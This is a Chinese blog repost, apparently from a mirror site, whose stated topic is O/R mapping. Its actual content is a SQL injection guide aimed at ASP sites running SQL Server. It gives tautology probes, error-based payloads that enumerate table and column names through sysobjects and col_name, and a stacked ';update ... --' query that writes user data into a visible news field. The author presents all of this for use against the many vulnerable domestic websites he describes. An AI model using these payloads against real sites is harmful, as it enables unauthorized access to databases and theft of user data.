zoukankan      html  css  js  c++  java
  • O/R Mapping 影射文件生成的一点研究(暂时放在这里,实现以后再进行总结)

    From:
    http://blog.waynedeng.com/blogview.asp?logID=469
    原来题目是:
    专门针对SQL Server的注入手段  
    小弟潜心研究sql injection一个余月,发现国内存在sql injection漏洞的网站一大把一大把,80%以上的asp网站都似乎是不学无术、骗吃骗喝的“程序员”所做。不光漏洞多,而且网站内部结构也是零乱无比……

    关于sql injection网上流传甚广的SQL注入天书可以说是非常不错的入门介绍了,在这里也要重复一些老套的手法。

    首先上手的都是1=1,1=2的方法测试验证漏洞,字符则用' or 1=1 or '1'='。

    而sql server特别的还有user>0,db_name()>0。但是这些手法都只是检测漏洞的方法,真正有用的在下面。

    1、获得所有的Table表名

    (Select distinct Top 1 name from sysobjects where xtype='U' and status>0 and name not in (select distinct top i name from sysobjects where xtype='U' and status>0 order by name) order by name)>0

    i为一个整数,i取1时,返回第一个table name(按表名排序),2返回第二个,依此类推,直到什么都没有返回为止。

    2、得到表名后再获得字段名(field name)

    (Select Top 1 col_name(object_id('TableName'),i) from sysobjects)>0

    这一句返回TableName这个表里第i个字段的名字

    3、得到所有的表名以及里面字段名,估计对这个网站的结构也就有相应的了解了。然后怎样获得字段中的数据呢?

    如果是字符串,自然用>0的技俩,如果是其它类型,那就找一个新闻之类的表,再用

    ;update news set caption=(select username from users where id=9) where newsid=100;--  之类的方法把你要的数据写出来,这样基本上就没有你不知道的内容了。

    我自己用VB做了个软件,自动获得表名和字段名,速度极快,瞬间整个数据库的结构就出来了。
    当然这些不过是sql语句的构造而已,没什么过多的技术,另外这一个网页也是sql server injection必备的哟http://msdn.microsoft.com/library/default.asp?url=/library/en-us/tsqlref/ts_tsqlcon_6lyk.asp


    SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES
    SELECT table_name FROM INFORMATION_SCHEMA.TABLES where table_type='base table'

    select * from  INFORMATION_SCHEMA.TABLES
    where TABLE_TYPE='BASE TABLE'


    select * from sysobjects where type='u' order by name

  • 相关阅读:
    我的家庭保险方案推荐
    如何修改Total Commander配件文件的位置
    豆瓣统计-2015
    RESTful API接口设计规范
    正则表达式中 的$1,$2与实际应用
    查询排序:order by case when理解、在order By子句中使用case语句的理解
    架构设计:BFF和Serverless简介
    移动端1px细线解决方案总结
    SpringMVC中实体类属性is开头的字段返回JSON时自动去掉is开头的问题
    详解JS面向对象的三大特征之多态
  • 原文地址:https://www.cnblogs.com/jhtchina/p/287043.html
Copyright © 2011-2022 走看看